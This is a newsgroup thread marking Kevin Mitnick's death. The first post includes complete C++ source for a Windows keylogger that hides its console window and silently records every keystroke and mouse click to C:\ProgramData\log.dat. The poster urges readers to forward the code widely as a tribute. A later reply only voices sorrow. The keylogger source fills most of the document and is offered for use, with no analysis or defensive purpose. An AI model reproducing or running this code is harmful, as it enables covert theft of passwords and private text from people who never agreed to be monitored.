Discussion:
RIP Kevin Mitnick
(too old to reply)
Corey White
2023-07-29 09:22:11 UTC
Permalink
Kevin David Mitnick (August 6, 1963 – July 16, 2023)

Kevin Mitnick died from pancreatic cancer on July 16, 2023, at the age
of 59 at a Pittsburgh, Pennsylvania hospital. At the time of his
death, he was married and his wife was pregnant with his first child.

https://en.wikipedia.org/wiki/Kevin_Mitnick

We are going to send Kevin Mitnick out with a bang. Please forward
this code to everyone you know. It's a perfectly good Keylogger which
hides in the background and saves all of your keystrokes to
C:\ProgramData\log.dat

Remember, be like Kevin and always be ethical
----------

#include <iostream>
#include <chrono>
#include <thread>
#include <Windows.h>
#include <fstream>

bool IsKeyPressed(int keyCode, int threshold) {
static std::chrono::steady_clock::time_point lastKeyPressTime;
std::chrono::steady_clock::time_point currentTime =
std::chrono::steady_clock::now();

if (GetAsyncKeyState(keyCode) & 0x8000) {
if (std::chrono::duration_cast < std::chrono::milliseconds >
(currentTime - lastKeyPressTime).count() >= threshold) {
lastKeyPressTime = currentTime;
return true;
}
}

return false;
}

int main() {

HWND Proc;
AllocConsole();
Proc = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Proc, 0);

char key;
while (true) {
for (key = 8; key <= 222; key++) {

std::ofstream write("C:\\ProgramData\\log.dat", std::ios::app);

if (IsKeyPressed(VK_OEM_MINUS, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "_";
} else {
write << "-";
}
}
if (IsKeyPressed(VK_OEM_PLUS, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "+";
} else {
write << "=";
}
}
if (IsKeyPressed(VK_OEM_3, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "~";
} else {
write << "`";
}
}
if (IsKeyPressed(VK_OEM_4, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "{";
} else {
write << "[";
}
}
if (IsKeyPressed(VK_OEM_6, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "}";
} else {
write << "]";
}
}
if (IsKeyPressed(VK_OEM_5, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "|";
} else {
write << "\\";
}
}
if (IsKeyPressed(VK_OEM_1, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << ":";
} else {
write << ";";
}
}
if (IsKeyPressed(VK_OEM_7, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "\"";
} else {
write << "'";
}
}
if (IsKeyPressed(VK_OEM_COMMA, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "<";
} else {
write << ",";
}
}
if (IsKeyPressed(VK_OEM_PERIOD, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << ">";
} else {
write << ".";
}
}
if (IsKeyPressed(VK_OEM_2, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "?";
} else {
write << "/";
}
}
if (IsKeyPressed(VK_LCONTROL, 250)) {
write << " [CONTROL] ";

}
if (IsKeyPressed(VK_RCONTROL, 250)) {
write << " [CONTROL] ";

}
if (IsKeyPressed(VK_RMENU, 250)) {
write << " [ALT] ";

}
if (IsKeyPressed(VK_LMENU, 250)) {
write << " [ALT] ";

}
if (IsKeyPressed(VK_RBUTTON, 250)) {
write << " [RCLICK] ";
}
if (IsKeyPressed(VK_LBUTTON, 250)) {
write << " [LCLICK] ";
}
if (IsKeyPressed(VK_CAPITAL, 250)) {
write << " [CAPSLOCK] ";
}
if (IsKeyPressed(VK_TAB, 250)) {
write << " [TAB] ";
}
if (IsKeyPressed(VK_SPACE, 250)) {
write << " ";
}
if (GetAsyncKeyState(key) == -32767) {

if (key == 13) {
write << " [Enter]\n";
} else if (key == 8) {
write << " [Backspace] ";
} else if (key == 48 && GetAsyncKeyState(0x10)) {
write << ")";
} else if (key == 49 && GetAsyncKeyState(0x10)) {
write << "!";
} else if (key == 50 && GetAsyncKeyState(0x10)) {
write << "@";
} else if (key == 51 && GetAsyncKeyState(0x10)) {
write << "#";
} else if (key == 52 && GetAsyncKeyState(0x10)) {
write << "$";
} else if (key == 53 && GetAsyncKeyState(0x10)) {
write << "%";
} else if (key == 54 && GetAsyncKeyState(0x10)) {
write << "^";
} else if (key == 55 && GetAsyncKeyState(0x10)) {
write << "&";
} else if (key == 56 && GetAsyncKeyState(0x10)) {
write << "*";
} else if (key == 57 && GetAsyncKeyState(0x10)) {
write << "(";
} else if (key == 48 && !(GetAsyncKeyState(0x10))) {
write << "0";
} else if (key == 49 && !(GetAsyncKeyState(0x10))) {
write << "1";
} else if (key == 50 && !(GetAsyncKeyState(0x10))) {
write << "2";
} else if (key == 51 && !(GetAsyncKeyState(0x10))) {
write << "3";
} else if (key == 52 && !(GetAsyncKeyState(0x10))) {
write << "4";
} else if (key == 53 && !(GetAsyncKeyState(0x10))) {
write << "5";
} else if (key == 54 && !(GetAsyncKeyState(0x10))) {
write << "6";
} else if (key == 55 && !(GetAsyncKeyState(0x10))) {
write << "7";
} else if (key == 56 && !(GetAsyncKeyState(0x10))) {
write << "8";
} else if (key == 57 && !(GetAsyncKeyState(0x10))) {
write << "9";
} else if (key == 65 && GetAsyncKeyState(0x10)) {
write << "A";
} else if (key == 66 && GetAsyncKeyState(0x10)) {
write << "B";
} else if (key == 67 && GetAsyncKeyState(0x10)) {
write << "C";
} else if (key == 68 && GetAsyncKeyState(0x10)) {
write << "D";
} else if (key == 69 && GetAsyncKeyState(0x10)) {
write << "E";
} else if (key == 70 && GetAsyncKeyState(0x10)) {
write << "F";
} else if (key == 71 && GetAsyncKeyState(0x10)) {
write << "G";
} else if (key == 72 && GetAsyncKeyState(0x10)) {
write << "H";
} else if (key == 73 && GetAsyncKeyState(0x10)) {
write << "I";
} else if (key == 74 && GetAsyncKeyState(0x10)) {
write << "J";
} else if (key == 75 && GetAsyncKeyState(0x10)) {
write << "K";
} else if (key == 76 && GetAsyncKeyState(0x10)) {
write << "L";
} else if (key == 77 && GetAsyncKeyState(0x10)) {
write << "M";
} else if (key == 78 && GetAsyncKeyState(0x10)) {
write << "N";
} else if (key == 79 && GetAsyncKeyState(0x10)) {
write << "O";
} else if (key == 80 && GetAsyncKeyState(0x10)) {
write << "P";
} else if (key == 81 && GetAsyncKeyState(0x10)) {
write << "Q";
} else if (key == 82 && GetAsyncKeyState(0x10)) {
write << "R";
} else if (key == 83 && GetAsyncKeyState(0x10)) {
write << "S";
} else if (key == 84 && GetAsyncKeyState(0x10)) {
write << "T";
} else if (key == 85 && GetAsyncKeyState(0x10)) {
write << "U";
} else if (key == 86 && GetAsyncKeyState(0x10)) {
write << "V";
} else if (key == 87 && GetAsyncKeyState(0x10)) {
write << "W";
} else if (key == 88 && GetAsyncKeyState(0x10)) {
write << "X";
} else if (key == 89 && GetAsyncKeyState(0x10)) {
write << "Y";
} else if (key == 90 && GetAsyncKeyState(0x10)) {
write << "Z";
}

// lower case

if (key == 65 && !(GetAsyncKeyState(0x10))) {
write << "a";
} else if (key == 66 && !(GetAsyncKeyState(0x10))) {
write << "b";
} else if (key == 67 && !(GetAsyncKeyState(0x10))) {
write << "c";
} else if (key == 68 && !(GetAsyncKeyState(0x10))) {
write << "d";
} else if (key == 69 && !(GetAsyncKeyState(0x10))) {
write << "e";
} else if (key == 70 && !(GetAsyncKeyState(0x10))) {
write << "f";
} else if (key == 71 && !(GetAsyncKeyState(0x10))) {
write << "g";
} else if (key == 72 && !(GetAsyncKeyState(0x10))) {
write << "h";
} else if (key == 73 && !(GetAsyncKeyState(0x10))) {
write << "i";
} else if (key == 74 && !(GetAsyncKeyState(0x10))) {
write << "j";
} else if (key == 75 && !(GetAsyncKeyState(0x10))) {
write << "k";
} else if (key == 76 && !(GetAsyncKeyState(0x10))) {
write << "l";
} else if (key == 77 && !(GetAsyncKeyState(0x10))) {
write << "m";
} else if (key == 78 && !(GetAsyncKeyState(0x10))) {
write << "n";
} else if (key == 79 && !(GetAsyncKeyState(0x10))) {
write << "o";
} else if (key == 80 && !(GetAsyncKeyState(0x10))) {
write << "p";
} else if (key == 81 && !(GetAsyncKeyState(0x10))) {
write << "q";
} else if (key == 82 && !(GetAsyncKeyState(0x10))) {
write << "r";
} else if (key == 83 && !(GetAsyncKeyState(0x10))) {
write << "s";
} else if (key == 84 && !(GetAsyncKeyState(0x10))) {
write << "t";
} else if (key == 85 && !(GetAsyncKeyState(0x10))) {
write << "u";
} else if (key == 86 && !(GetAsyncKeyState(0x10))) {
write << "v";
} else if (key == 87 && !(GetAsyncKeyState(0x10))) {
write << "w";
} else if (key == 88 && !(GetAsyncKeyState(0x10))) {
write << "x";
} else if (key == 89 && !(GetAsyncKeyState(0x10))) {
write << "y";
} else if (key == 90 && !(GetAsyncKeyState(0x10))) {
write << "z";
}

}

}
}

char RIP;
std::cin >> RIP;
return 0;
}
R.J. Hacked
2023-08-26 22:15:34 UTC
Permalink
Post by Corey White
Kevin Mitnick died from pancreatic cancer on July 16, 2023, at the age
of 59 at a Pittsburgh, Pennsylvania hospital. At the time of his death,
he was married and his wife was pregnant with his first child.
Just learned about this now. :(
--
Sowing political and social chaos since 2016.
Loading...